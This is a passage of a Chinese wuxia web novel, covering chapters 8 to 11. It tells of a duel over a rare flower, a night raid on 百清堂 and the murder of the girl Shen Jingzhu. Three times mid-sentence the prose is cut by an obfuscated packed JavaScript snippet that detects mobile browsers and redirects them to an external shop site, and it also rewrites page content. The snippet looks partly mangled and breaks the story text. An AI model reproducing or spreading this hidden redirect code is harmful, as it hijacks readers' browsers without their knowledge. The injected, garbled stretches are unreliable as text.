站在陈暖斜对面不远处有一群人在哈哈大笑,为首之人一直在说一些狂妄之语。然而下一秒有一物落在地上,笑声戛然而止,紧接着哀嚎声响彻四周。就连之前盯着陈暖看热闹的人也纷纷收回了目光,甚至有认出她的人已经默默离开,退出夺宝之行。 陈暖将手中蚕筋线上的鲜血甩掉,惋惜道:“这么想说话,只可惜只能等下辈子了。” 许和意刚落地就听到了陈暖这句话,也看到地上明显被人拔出来的舌头,站在陈暖身边没说话。 “大哥,算了。”原本那逞口舌之快的人想要报拔舌之仇,却在许和意出现后被同伴制止,因为他们明显看出来此女子和许和意是一伙的,只能按兵不动。 “许大人今日来这里,不知是夺宝呢还是抓人啊。” “这么多人拿枪拿剑,怕是抓都抓不过来吧。” 江湖人对这个百清堂堂主是又恨又怕,恨的是如今江湖落寞全是拜他所赐,怕的又是他的铁血手腕。 许和意不顾他们的冷嘲热讽,温和笑道:“都为夺宝而来,那还会有什么身份?”他话锋一转,“不过既是夺宝,难免有人受伤,但若有人借此生事,故意滥杀,可别怪我刀下不留人。” 众人也是敢怒不敢言,毕竟一人之力如何撼动朝廷? “出现了!出现了!” 子时已过,牵灵花周围萦绕的瘴气逐渐消散,显露出了真容。 长约四尺三寸,竟似有孩童那般高,无根无叶,赤褐色的花茎拔地而起,似箭杆般直立。其上原本蓝绿色的花苞已经凋谢,仅留下一颗半开裂的褐色果实。而此果实就是周围人的目标。 若问此花如何“牵灵”?约是那无风自动的特征给这株在地下蛰伏三年之久才破土而出的天材地宝赋上了一层神秘色彩。 气氛变得紧张,也就是一瞬间的事。 8. 夺宝 陈暖用一片饱含内力的叶子将不远处一个人的刀打飞到地上,寒声道:“对方已经认输,再这么咄咄逼人下去不太好吧?”她已经明显能感觉到那人身上散发出来越来越强烈的杀意。 目前周围混战的人说多不多,说少也不少,多数已经分出了明显的胜负,还有真正一部分的高手或者多人的势力则像他们一样在暗处或更远的距离旁观,为后面真正的战斗养精蓄锐。 陈暖半蹲,对丰玉成语重心长地说:“我和你母亲有过几面之缘。我本不爱多管闲事,但是你母亲前几日特意和我说若是在这里看到你,就劝你回去。看如今情形,连路上都需要人保护的你,真的能从这么多高手里拿走这花吗?”陈暖叹气,“更何况你母亲的病,你最是清楚,已经药石罔效了。” 丰玉成哽咽:“可是我很想做些什么……” 好好活着就行了。 陈暖将他迷晕,放到其中一人背上,顺便把前几日和信件一起送来的梵天令递给他,道:“带他回去吧,两个时辰后会自己醒。” “多谢这位侠士!” 参与此次夺宝之前,他们便已做好了为保护丰玉成而一去不回的决心。如今门派飘摇,前任主公战死,小主公决不能再与他们一同葬送在这里,因此临出发前他们还是选择将这件事告诉了阮夫人。他们一路上一直在等待阮夫人口中说的那个女侠,本以为没了希望,还好最后终于是遇到了。 “可惜了,稚子年幼,这梵天令估计也守不了多久。”许和意看着他们离开的身影,不禁感慨。 “有何可惜,等他成长起来,不过是从头再来罢了。”陈暖看着四周的乱战,为了不碍事直接用踏枝术上了最近一棵树的枝杈上,许和意则紧随其后选择站在她旁边树的枝杈上。 陈暖问许和意:“大人,我们何时动手?” “三炷香后。” 很好。这个时间和陈暖估算的差不多,这倒省了她再动心思,设法让许和意早点入场。 下面那群人打打杀杀撑不了多久,三炷香过后基本就只剩下强者,届时她就加入战局。 总之一定要在天亮前结束战斗顺利拿到牵灵花并脱身。 这一片区域已经被火把照得亮如白昼,任何人的一举一动都无处遁行。 第四个。 陈暖将一人踢到树下,另一人随后也被许和意打到地下,陈暖坐在树杈上,对着下面呻.吟哀嚎的两人说:“揽水城城南安乐坊第七街第五户,随时恭候。” 许和意无所谓地听陈暖报他在揽水城的住址无比熟练,打趣道:“真热闹啊,看来今夜视你为仇人的那些人要在这里聚首了。” 陈暖虽然有时候会使用不同的身份完成暗杀,但她并未想过遮掩自己的真实身份,因此也从来不怕别人找她报仇,只因她心中无愧,只杀该杀之人。至于来寻仇的人,她很乐意用手中的剑来教他们做人的道理。 只是今日情况特殊,这些人纠缠不休,让她烦不胜烦了。 “你的那些打手呢?” “在你看不见的地方打着呢。”许和意之所以带那些人来,为的就是解决一些小麻烦,因为他心里清楚到最后夺宝的就只有那么几个人,那时候就要他来动手了。 陈暖冷哼道:“真是有钱能使鬼推磨。” 时间就在陈暖偶尔与人打架,许和意制止有些已经杀红了眼的人想要继续滥杀的行为中度过。 三炷香的时间一到,陈暖毫不犹豫地踏进战局,站在了离牵灵花最近的地方。她并未收敛气息,身上内力毫不掩饰地外放。 她落地的瞬间气氛有一刹那的凝滞,接着原本在内圈混战的人多数不约而同地退出,而一直隐藏在黑暗中的人陆续上前。 已经退出的人也并未离开,他们还抱有“螳螂捕蝉,黄雀在后”的心思。 许和意紧随其后,和陈暖并排而立。 陈暖打量着四周已经站定的人,里面有她熟知的面孔,也有她从未见过的人,甚至虽然有她眼熟的武器,但早已易主。 不止是陈暖,其他人也在打量她。 陈暖虽然不至于是江湖人人尽皆知的存在,但未废杀手榜时,她可是次次榜上有名且位列前位。 若问谁对在场的每一个人都熟悉,那必然当属拥有百清堂堂主身份的许和意,因此许和意率先打破寂静:“没想到人还挺多,那今日这规矩就由我定了?”许和意停顿了一下,紧接着就继续讲下去,毕竟他也没真想让他们做决定。 “每局时间一炷香,两两对决,对手自己挑选。”许和意环顾了下四周,特意用内力使声音传播得更远,“规矩便是:只许伤,不许残,更不许亡。”随着他的话音落下,当初和他们一起过来但基本没有露面的几个人此时站在了外围,监管的意图已经很明显了。 一炷香落在牵灵花旁,许和意用内力将其隔空点燃。 “各位,速战速决。” 陈暖早有准备地躲过朝她横刀劈来的泛着浅褐色的刀芒,她将剑从剑鞘里缓缓抽出,看着对方。她之前观察在场人的时候,对熟面孔的人尤为注意,其中一位就是眼前这位拿着琉璃刀的卓云山。 陈暖轻笑道:“卓公子,许久未见,没想到变得愈加沉得住气了。” 卓云山愤怒道:“少废话,当日断刀之耻,今日必要讨回!” 陈暖眼睛睁大,眼中含有笑意:“哎?你竟然也是新刀?那巧了,我这柄光生剑也是把新剑。”随后她疾冲向卓云山,剑中蕴含的磅礴剑意令一些围观人的剑轻微颤抖。 卓云山化单刀为泛着琉璃色的刀墙,虽然挡下了一部分剑气,但剩余的剑气还是缠上了他,只能迅速后撤再以立刀为盾。金色的剑气撞在用内力化成的刀盾上,“嗡——”的一声低鸣,刀盾隐约震起细小波纹,紧接着瞬间消散。 卓云山看着抵在脖子上还在轻微震动的剑尖,用手抹去了嘴角处溢出的鲜血,极力控制自己持刀的右手不要颤抖,然而效果却并不明显。 陈暖也有点讶异:“也就两年未见,你境界怎会跌落至此?” 卓云山站起来,将刀收于身后,黯然道:“我一直如此。” 身为琉璃宗少宗主的他生来就被众人所瞩目,天赋明显异于常人的他于武学也有不小的造诣。一次外出历练,恰巧围观了陈暖执行任务的始末,他便被这位与自己年龄相当的女子所拥有的超绝剑意吸引,当即力求一战。 然而他实战经验为零,纵然天赋极高,又怎么能和身经百战的陈暖相比呢? 琉璃宗的门派武器是琉璃剑,顾名思义,以琉璃锻造而成。然而琉璃易碎,需以归一功为辅,锤炼心智,达到人刀合一的状态才能令所执之刀坚韧如铁。 可目前看他境界跌落至此,想必…… 陈暖看着他落寞的背影,轻叹了口气。 然而陈暖内心的惆怅还未消散,下一位已然站在她身后安静等待。 陈暖一转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935059|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就看到抱剑而立的又一位熟人,直接话不多说提着剑就开打。 “连句寒暄都没有?”孟憬虽然语气中满含遗憾,但下手却极为狠厉,每出一次剑都暗含凌厉杀招。 “已经是打了多年的老伙计,话早就聊没了。”陈暖真的是烦透她了,每半年一次的约剑,只要有一次不到,这个人宁愿追到天涯海角也要和自己比剑。 偏偏两人的剑术虽不能说势均力敌,但起码能打上二三十个来回,因此对于陈暖来说极其耗费心力。 “下去吧。”陈暖将不慎刺入她肩膀的剑拿开,顺便丢给了她一瓶治外伤的药。 孟憬丝毫不介意身上的伤势,反而路过陈暖身边的时候说了一句“注意安全”。她们不是朋友,也并非敌人,有的只是惺惺相惜之情。 牵灵花周围的香炷一根灭后,另一根再度燃起,已经燃尽的香炷越来越多,而打斗的人则变得越来越少,直至场中只剩两人。 陈暖看着发丝有些微凌乱的许和意,甩了甩刚才在上一场打斗中被震得还没恢复过来的右手,平息了下有些凌乱的呼吸,道:“轮到我们了。” 许和意原本平淡温和的神情在看到陈暖认真的眼神后也变得冷峻,冷声道:“看来我还是没有猜错。” 他其实一直有猜测,也找了不少名医看了沈静珠的伤势,他们给出的答案都是虽然迹象是中毒,但并没有到危及性命的程度,只需要用药浴泡着,等人醒来再对症下药。再加上陈暖答应合作是下君来灭村之前的事,她也并没有显示出对牵灵花有多向往,久而久之便放松了警惕。 陈暖咧嘴一笑:“那看来我演技也没那么好。” 她话音一落,就直接将周身的树叶震起,叶片如千万支利箭直指许和意。 “嗖——” 箭矢破空而来,借着直破门窗而入,在落在床上前被斜插而来的利剑斩断。 此箭如巨石一般,轰然破空而来,打破了深夜中原本氛围静寂如海的百清堂。 “什么人?!” 院中瞬间出现了十几名护卫,原本藏在四周的暗卫也在黑暗中待命。 梁无思收敛呼吸,站在沈静珠的床边,用内力放大五感,试图寻找藏在暗处的人,然而却一无所获。 他打了个唿哨,一息之间屋内出现了四个人,他叮嘱道:“护好沈小姐,若抵挡不住,带她到公子的暗室里。” 说话他便轻轻推开了房门,月光倾泻而下,刚到屋内又被门扉缓缓掩上。 他打了个响指,在听到房顶上也已经有人就位后,将剑插进剑鞘,取下门口挂着的一柄弯月弓。 左手搭弦,右手拉弓。 微风拂过,吹起他还未束起的发丝,他闭上眼仔细聆听不属于大自然的声音:自己沉静有力的心跳声、人的呼吸声、小声咽唾沫的声音、墙边的猫叫声……以及…… 找到你了。 梁无思瞬间放箭。 原本寂静的黑夜中突然传来一阵短促的倒吸声。梁无思立刻朝着声源的方向追去,直到院墙,以防调虎离山,他只是站在墙上看着自己箭射出的地方。没有再射出第二箭,因为他知道那放暗箭的已经换了地方。 突然听到沈静珠房间有刀剑的动静,便立刻折返回去。 公子临行前专门嘱咐了他,让他务必保护好这个女童。今晚这放箭之人明显是冲着房中沉睡的女童,看来公子是早有预知有人会趁他们不在的时候再次对她痛下杀手。 9. 来者何人 许和意看着停滞在半空中的叶片,知道她的瞬杀术将成,将上一场打斗结束还插在不远处的浮舟刀召回,在刀还未至身前时踏地而起,右手抓住刚召回到手边的浮舟刀在周身划了道圆弧。随着刀身划过,空气隐约在震动,叶片落下被真气凝成的无形屏障阻挡,瞬间化为齑粉。然而在猛烈的攻击下,屏障终有极限。 许和意看着一截碎发正在缓缓落下,无视身上数道正在缓缓渗血的伤口,他将刀身下压,刀刃朝下,使刀意内敛,用内力运转沧海诀,随后身形如鬼魅般掠至陈暖斜前方。浮舟刀在他身侧挽了个刀花令刀刃朝上,肃杀的刀意宛若惊涛骇浪,朝陈暖汹涌袭来。 “江湖名刀录中排第一的浮舟刀竟然传给了他?”孟憬惊讶地问身边一直沉默观战的大师兄。 “再不传他,许家的沧海诀就要断代了,否则许格礼怎么可能让他接这柄刀。” “那另一位岂不是……”孟憬立刻捂住自己的嘴巴,惊魂未定地看着正在一心一意和陈暖打斗的许和意。 还好还好,没有被这位许阎王听到。 “下次再口无遮拦小心被他取了项上人头。”站在孟憬另一侧的师姐敲了敲她的头。 大师兄看着许和意的刀法,几不可查地摇了摇头,惋惜道:“只可惜还是太晚了,沧海诀的功法目前看来他还没有完全领悟。” 纵然天资异禀,若无自幼打下的根基,终究还是比别人差了一些火候。 而陈暖自是知道这一点。 两人虽已激战了半炷香,都有明显力竭现象,但陈暖再次持剑而上,在出剑的同时低声道:“上次你就败于我手,虽间隔数月功法能明显看出来比上一次有进益,只可惜……” 可惜什么陈暖自不必再多说,因为她会再一次用自己手中的剑告诉他—— 光生剑的剑意一出,五六丈以内瞬间鸟兽无声,连风都已停滞。银白色的剑气如寒霜裂空,数道带着可割裂万物的银芒破空而下,这一剑,名为惊世。 众人不禁屏息凝神,生怕自己闹出点动静这一剑就要落在自己身上。 风自许和意身边瞬间骤起,卷起地上的枯枝落叶,如旋涡般将二人裹住。 林中剑气轰然,惊天动地,而揽水城内的百清堂则寂静无声,落针可闻,院中的尸身多到骇人。 沈静珠房间里的打斗声早已消失,门悄然打开,梁无思回头打了个手势示意屋内的暗卫把沈静珠转移到西厢房的暗室内。 然而他们才刚走到回廊的中途,就突然被瞬间而至的长剑拦住了去路。 “叮!” 梁无思横剑挡住直冲沈静珠而来的利剑,火星四溅,他冲着护送沈静珠的暗卫喊道:“快走!” 不速之客见沈静珠即将消失在视线中,立刻几个踏步,闲庭信步般便已至他们身后约一丈的距离,正欲再次出剑时却被身后破空而来的寒箭逼得不得不侧翻身躲避。 这一躲,虽然躲掉了足以贯穿他头颅的箭矢,但也将沈静珠彻底跟丢—— 假山环绕的院中隐藏的奇门遁甲阵已开启。 他转身,看着回廊不远处手持弓箭沉静站立的梁无思,轻轻“啧”了一声。 他从来都不知道许和意的身边竟有箭术如此精湛的弓箭手。 梁无思看着来人,声音如冰雪般凛冽:“来者何人?” “恩?”崔书雪非常疑惑地歪头,“世间竟然还有人不知道我的轻功吗?可真是太令我伤心了。” 话音未落,人已至梁无思面前,他面带笑意,但笑意却未达眼底:“看来我还要继续努力才是。” 梁无思本就鲜少与人亲近,少了八卦源头,平日里除了执行任务,不是练剑就是练箭,自然对任务之外的人不甚了解。更何况他长期活动于东南的巴藴地界,那里山脉连绵,几乎与世隔绝,更是消息滞后。 梁无思虽然惊诧对方轻功的速度,但在看到他因身形移动而发丝微动的刹那早已后撤躲避。 他已经察觉出了自己和对方的差距,若是硬抗定是打不过,但如果是借助院中的奇门遁甲阵法来破局,未尝不可一试!哪怕自己最终力竭至身死,能为沈静珠他们拖延一点时间也是极好的。 崔书雪怎么可能察觉不到他的意图,或者说他自从看到沈静珠他们从回廊踏进院中就凭空消失的那一刻就一直在警惕梁无思进入院中。因此崔书雪表面看似无所谓,实际则是一直在关注梁无思的一举一动。 梁无思运转心法,踏着木柱将自己的身法发挥得淋漓尽致,眼见着他的半个身子已经露出到院中,然而—— “抓到你了。” 梁无思头皮发麻,鸡皮疙瘩瞬间起来。他感觉到对方拉住了自己的脚踝,整个人身体斜着下坠,他将真气蕴含在另一只没被抓住的腿上,用力一蹬将对方踹开。他在身体重重坠下前用左手取下身后尚未出鞘的剑进行缓冲,随后用手中的弓柄格挡住崔书雪再次已至身前的一只手,左手抽出长剑从下方斜撩而上,挡住了对方如影随形的身形。 崔书雪眼睛一亮:“反应还挺快。再来!” 梁无思抿嘴,将已经被对方掌风震得已隐约有裂隙的弓箭一气呵成地斜跨于肩头,用剑挡住了他接下来的攻击。 剑身在轻震,似是感受到了已到酣战之时。 崔书雪彻底兴奋起来,大喊:“再来!” 昏暗的院中刀光剑影连续不断,剑身发出的寒光时不时照亮黑暗的角落,却照不亮已经陷入黑暗的地下暗室。 空气中有非常浓重的甜腻到令人作呕的血腥气,利器陷入血肉发出的“噗嗤”声在周围一片死寂中显得极为清晰。 一息后,隐约的火光亮起,火苗微动,将暗室照得影影绰绰,而手执火折子的人正是护送沈静珠的暗卫之一。他将火折子凑近,借着火苗抖动的光依次将地上的人都确认了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935060|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在确认无人生还后,弯腰将已经没了气息的沈静珠扛至肩上,依照原路出去。 正在院中缠斗的二人忽然听到不远处传来的短暂竹笛声,崔书雪瞬间加大攻势,杀意顿显,完全不似之前那般有所保留。 梁无思皱眉,立刻就明白了发生了什么,心跳骤然加速,耳朵内似乎有瞬间的轰鸣声。 崔书雪看着满身是伤,浑身是血的梁无思,借着昏暗的灯光看清了他的表情,这回笑意到达了眼底:“已经晚了。” “噗——”梁无思再一次被崔书雪打飞,他以剑撑地,血上涌至喉间,不受控制地吐出一大口鲜血。 崔书雪施展崔氏踏影至梁无思面前,他垂眸看着面前重伤的人,眼中满是赞赏:“能在我的手下坚持这么久,你真的很不错。”他语气微顿,继而遗憾道:“只可惜遇上了我。” 崔书雪拿起手中的剑砍断了他还想要执剑再次血战的左臂。 他看着脸色惨白,甚至连嘴唇都咬破还强忍着断臂的痛苦,但依旧未发一声的梁无思,淡淡道:“我叫崔书雪。黄泉路上有我的名字作伴,你也不算孤身一人。” “叮——” 崔书雪还未挥下去的剑被一枚银针瞬间弹开,他擦干嘴边溢出的鲜血,看着踏空而来的鹤发白须的老者,眼中满是惊讶。 这久未出世的神医怎会出现在此? 崔书雪在与梁无思的打斗中受的内伤,本已经强行压制住,却被这枚银针震得发作,心魂震颤。他低咳了几声后道:“晚辈见过流云山主,只可惜晚辈要赶回去吃早膳,就只能改日登门拜访了。” 老者不管他的落荒而逃,立刻接住了彻底昏死过去的梁无思。 陈暖手拿着剑微微颤抖,没来由的心慌一直伴随着她。 许和意看着悬停在自己喉咙前的剑尖,皱起了眉头,一时之间心烦意乱。不知道是因为再一次被她的剑所指,还是因为自己没有获得牵灵花,或者是因为别的事而心烦。 陈暖将剑收回,烦躁地一脚踢开了还未燃尽的香炷,将牵灵花连带着的果实的一部分根茎摘下,收进袋子里后就冲进了宁静森林,朝着揽水城的方向奔去。 “不想死的尽管来!” 原本见陈暖落单还蠢蠢欲动的一些人在听到陈暖的警告后犹豫了一下,但仍旧有不死心的人想要追上抢夺牵灵花,却就被许和意带来的几个人还有孟憬拦住去路。 天际已经泛起了鱼肚白,森林里虽还笼罩着浅灰色的薄雾,但在微风的吹拂下正在缓缓消散。 陈暖用余光看到许和意跟在自己身后,也不搭理他,只是将赶路的速度提升。 她看着前方带有温度的朝阳穿过树林,有金辉在闪烁。她忍不住隔着衣服摸了摸放在心口的装着牵灵花的布袋,感受着细弱根茎上缀着的果实的轮廓,和自己逐渐加快的心跳,再次将飞云踏枝术提升到了极致。 小静珠,等我! 10. 悲恸 崔书雪勉强调理好混乱的内息,睁开眼看到了地上沈静珠的尸身,对已经换下了暗卫衣服的人说:“做的很好,去领赏吧。” 清晨泛着浅金色的朝阳透过窗棂落在地上,浅色光晕带着细小微尘笼罩在沈静珠的身上。崔书雪单手支着脑袋看着沈静珠,在思索这具尸体该如何处理。 只因老师不放心这唯一一条漏网之鱼,以防再生变故,他只好亲自动手,因此才临时制定了夜访百清堂的计划。估算着时间陈暖他们已经在从宁静森林赶来揽水城的途中,而自己离开这里已经刻不容缓。 “去把萧云叫来。”崔书雪吩咐身旁的随侍。 如今下君来全村尽灭,就连侥幸生还的沈静珠陈暖都没有护下,想必她已经恨极了自己。 既然如此,那就再送她个大礼吧。 牵灵花已被摘去,上君来的人明显少了很多,在只有零星几人的村道上,一个人突然驾着一匹马疾驰而过,激起阵阵尘土,很快便消失在了村口。 正在赶路的陈暖和许和意远远看着一人逐渐出现在视野中,许和意迎面对上,看着他脸上焦急的面容,问:“发生了什么事?” 宝卷从突然被拉住缰绳的惊惧中回神,立刻下马拉住许和意语速极快地说:“百清堂出事了!马已经在上君来村的村口备好!” 陈暖心脏瞬间漏了一拍,大脑一片空白,但身体已经先一步做出了反应,一个踏步上了马—— “驾——” 许和意立即运起内力,加快轻功速度跟上。 陈暖感觉到马的速度有点微缓,随后身后有人贴近,她将刚坐稳的许和意的一只手抓到自己腰间,低声道:“抓紧我。” 她猛地一扯缰绳,双.腿夹紧马腹,马的速度再一次提升。 许和意的胳膊环在陈暖的腰间,手掌紧贴她的腰侧,因为马的速度的加快,上半身不得不和她靠近,同时也感觉到了她急速的心跳,不禁皱起了眉头。 经过一.夜激战的陈暖本就负伤在身,再加上不停赶路,早已力竭,只是一直在强撑,如今又听到百清堂出事的消息,她感觉到呼吸越来越困难。急速吹来的风好似全部灌进了肺腑但无法吐出,窒息感越来越强,直至一股暖流从胸.前传来,内力源源不断涌入,护住了她急速跳动的心脉。她猛地大吸一口气,随后剧烈咳嗽,血自喉间咳出。 许和意察觉到她躬紧的脊背正在逐渐放松,待她的咳嗽声停止,气息逐渐平稳后便将手放下。 许和意拳头逐渐握紧,本以为出来这趟前已经做好了万全的准备,没想到…… 二人在上君来换了马后,一人一马再次启程赶往揽水城。 此时揽水城的城门口已经站着好几个人,甚至连一城二司都在那焦急等待。 “怎么办,这可怎么办。”新任的副城司一脸惊慌失措,在原地直打转。 “安静点。”另一位副城司烦透了身边这个咋咋呼呼的新同僚,虽然之前董宇也不咋地,但目前这位看起来好像也干不成什么大事,本来就心烦,现在更是被他搅得心烦意乱。 百清堂出事,他们定是难逃其咎,更何况这次那位许堂主也在,都不用想乌纱帽能否保住,能保住小命怕是都难。 城主站在离他们不远处,从始至终都不发一言,但脸色极为难看。 如今江湖和朝堂关系本就紧张,再经过这次事件,局势怕是更不乐观。 时间就在众人的焦急等待中流逝,从日出东方等到了日上竿头,直到道路尽头两匹马先出现在众人的视线中,随后马背上的人面容也逐渐清晰。 “来了来了。” 许和意看到一城二司出现,就知道此事已经极为严重。 “大人……咳咳咳”其中一位城司正准备大声请罪,就被马急踏而过激起的尘土呛到了。 众人看着两人骑马进城的背影,立马纷纷进城骑马跟上。 陈暖和许和意才刚到门口,就隐约闻到了空气中还隐隐未散去的血腥味。 院中有几个人正在打扫,但目之所及依旧一片狼藉。 被砍断的灯柱,地面、墙壁和回廊都剑痕斑驳,仿佛还能看到当时刀光血影的场景。 陈暖进院门之后直冲向沈静珠的房间,走到门前就看到床上空无一人,已经复原的房间仍清晰可见各种剑痕和箭簇留下的痕迹,足以可见当时场面的混乱。 “大人……”周庚云和苏泰听下属说许和意回来了,立马赶来。 “怎么回事?”许和意声音虽平淡,但却隐含怒意。 “夜里崔书雪偷袭,兄弟们折损了大半,梁无思重伤断臂目前还在昏迷……”周庚云顿了顿,看了一眼站在房间中陈暖的背影,“……沈姑娘被人带走,目前生死未卜。” 许和意心头一震,盯着周庚云问:“梁无思在哪?” 周庚云正准备回话,就被一个声音打断—— “小鬼,站住!这里不能进来!”门口突然一阵骚乱,原来是一个约莫十岁左右的孩童直冲进了院子里。 “陈暖在吗?可有位姑娘姓陈?”院中传来小孩儿极高音调的喊声,原本站在房中一动不动的陈暖立即用轻功到了他面前。 小孩儿一边回想着委托他送信的人所描述的陈暖的面容,一边盯着陈暖的脸,在确认就是她后便将怀中的信件递给她:“有人让我把这封信给你。” 陈暖看着孩童离去的背影,拆开了手中的信,信里没有署名,只有一处宅院的居所。 许和意看着陈暖走出百清堂,吩咐周庚云带人跟上她后就让苏泰带自己去梁无思那里。 还未进屋就已经闻到了浓重到刺鼻的药味,许和意的脚步停滞了一下,然后推开了门。他看着静静躺在床上脸上没有一点血色的梁无思,他的身上几乎没有完好的皮肤,失去左臂的肩膀处虽然血已止住,但纱布上渗出后干涸的血渍,仍刺得许和意眼睛发疼。 “他……”许和意清了清有点发干的喉咙,“怎么样了?” 孙流云看着床上的人,叹气道:“命是捡回来了,但这身子要养个半载才能恢复,就是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935061|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许和意看着床边木桌上放着的被血染红,弓柄上还有裂痕的弯月弓,知道他未说完的话是什么意思。 “活着就好。” 许和意再次推开门,看着红着眼眶站在门外的苏泰,拍了拍他的肩膀,往书房走去。 和煦的阳光透过回廊上镂空的雕花照在许和意身上,耳边仿佛还有前几日梁无思在院中射箭发出的破空声。 他出身于文官簪缨望族,奈何一心只想成为一名出色的弓箭手,为此不惜与家人决裂,拜入军中神射手季文英门下。于箭术上他天赋极高,年少时便已在军中成名,后来百清堂成立,被自己选中。 许和意一直知道他心中是有怨言的,毕竟他一心参军,只为保家卫国,却被自己困在这小小的百清堂,如今又…… 许和意按了按发涩的眼睛,再睁眼时眼中已满是血丝,恨意凛然。 一刻钟后,数只信鸽从百清堂后院振翅飞出,飞往二十八州—— 和意令出,千里追杀。 时间虽已至正午,但春三月的天仍旧阴晴不定,原本温暖和煦的阳光已经被翻滚的云层笼罩。 陈暖看着眼前这座偏僻的宅院,虽然如今门扉半掩,但她推开门时却感觉重于千钧,胳膊止不住地颤抖。 她在害怕。 因为她以内力探查,院中并没有没有活人气息。 其实她在看到宝卷的那一刻就已经预料这种结果,但是在看到院中被吊起来的已经毫无生机的沈静珠,身体还是控制不住地颤抖。 陈暖用飞剑将穿透沈静珠四肢的铁链打断,接住了她掉落的身体。 轻飘飘的、好似没有重量一般。 毕竟她还那么小。 沈静珠虽然口不能言,但是在下君来那群小屁孩儿中可是最有威望的。自幼就失去父亲的她很早就懂得了母亲的不易,因此更容易包容、同情和理解他人。她并没有什么习剑的天赋,但在陈暖养伤期间教他们强身健体和简单保护自己的身法时,她也最是认真。因为她想保护自己的家人和朋友,以及小狗来福。 她身体虽小,但却拥有守护他人的强大内心,因此她愿意吃苦,也不怕吃苦。 她本可以健康长大的。 她本可以凭着自己坚持不懈的毅力长大后成为一名守护她人的大侠。 陈暖将怀中当初魏满仓临死前给她的木剑放到沈静珠怀里,另一物却随着她的动作掉了出来。她看着掉落在沈静珠手边的布袋,那里面装着牵灵花。 还是晚了。 她埋首在沈静珠的怀里。 是的,自己一直都在晚——从一个月前第一次在林中发现有人监视的时候,从半月前没有在野火中救下下君来村民的时候,从没有救下魏满仓的时候,从今夜摘牵灵花的时候,每一步都慢了。 闪电劈开翻滚的云层,雷声轰然炸响,紧接着瓢泼大雨便倾盆而下。 许和意靠在门框上,看着细密如针的雨丝,耳中听着她的呜咽声,缓缓攥紧了手中尚未撑开的油纸伞。 11. 神山衡 李黎在门口走走停停,时不时担忧地唉声叹气,时不时又附耳听门内是否有动静传来。自从那日陈暖雨夜归来说要闭关,便已有七日未曾踏出过这个门,好在放在门口的饭菜有明显食用的痕迹。 就在她以为今日又是同前几日一般闭门不开,正欲转身离去时,那扇刻着凤凰花纹路的木门却缓缓向内开启,随后便看到了一道清瘦的身影正懒洋洋地靠在门边。 藏心剑诀虽已至第六层,但近期频发的事件令陈暖感到境界不稳,只能无奈闭关,只不过这次闭关时间竟然比预期的时间长些。 “怎么了?”虽说在闭关,但门外的动静或者说整个御景园内的动静她并非不是不知道。 李黎从怀中掏出一张纸条,对陈暖说:“这是掌柜的前两日传来的密信。” 陈暖接过纸条看清其上写的内容后缓缓站直了身体,转身拿起桌上的木匣递给李黎:“还劳烦李姑娘将这只匣子递给百清堂堂主。” “姑娘可有话要带?” 陈暖摇了摇头,随后对李黎说:“近日多谢李姑娘收留,一刻钟后我就要离开了。” 李黎似是早有准备:“快马和衣物已给姑娘备好。” 陈暖谢过李黎后将门关上,再次打开了纪灵的手书:神山衡现身于无极涉州。 她神情疑惑地将纸条凑到正在燃烧的蜡烛上,看着火苗舔舐纸面,静静陷入了沉思。 “公子,御景园的李姑娘来了。” 许和意从案几上抬头,看着宝卷带着李黎进来,目光落在了她手上捧着的那只长匣上。 “许大人,这是陈姑娘托我转交给您的。”李黎近前,将手中的乌木长匣放在案几边缘。 许和意看着木匣,问:“可曾说过其他?” 许和意看到对方摇头后便道:“有劳李姑娘了。” 门被关上,书房内再次恢复了安静。 许和意伸手将木匣拿起,打开就看到了里面静静躺着的牵灵花。 在看到长匣的时候他就已经猜到了里面装的是何物,毕竟对方是一个不愿欠人情的人。 门再度被宝卷打开,只见他急匆匆进来,指着外面说:“公子,不好了,孙流云要走了……哎哟!”他话音刚落脑袋就被后脚跟进来的人重重打了一下。 “没大没小,竟敢直呼本山主名讳。” 孙流云一进来眼神就直冒光地锁定了案几上还未合上盖子的木匣,在看到许和意将木匣合上后失望地收回视线,接触到对方警告的眼神后赶紧解释:“我可没什么想法啊!毕竟下次再想看一眼这个天材地宝可就是下辈子咯!” “您不是号称会长生不老吗?”宝卷在旁边接话,看到孙流云作势再次抬手时立马溜了出去。 “你叫我来救那小丫头,虽然人没能救下来吧,但我可是碰巧救了你的属下……”虽然你的属下别人也能救活。孙流云试探性地问他:“我们算是……两清了?” 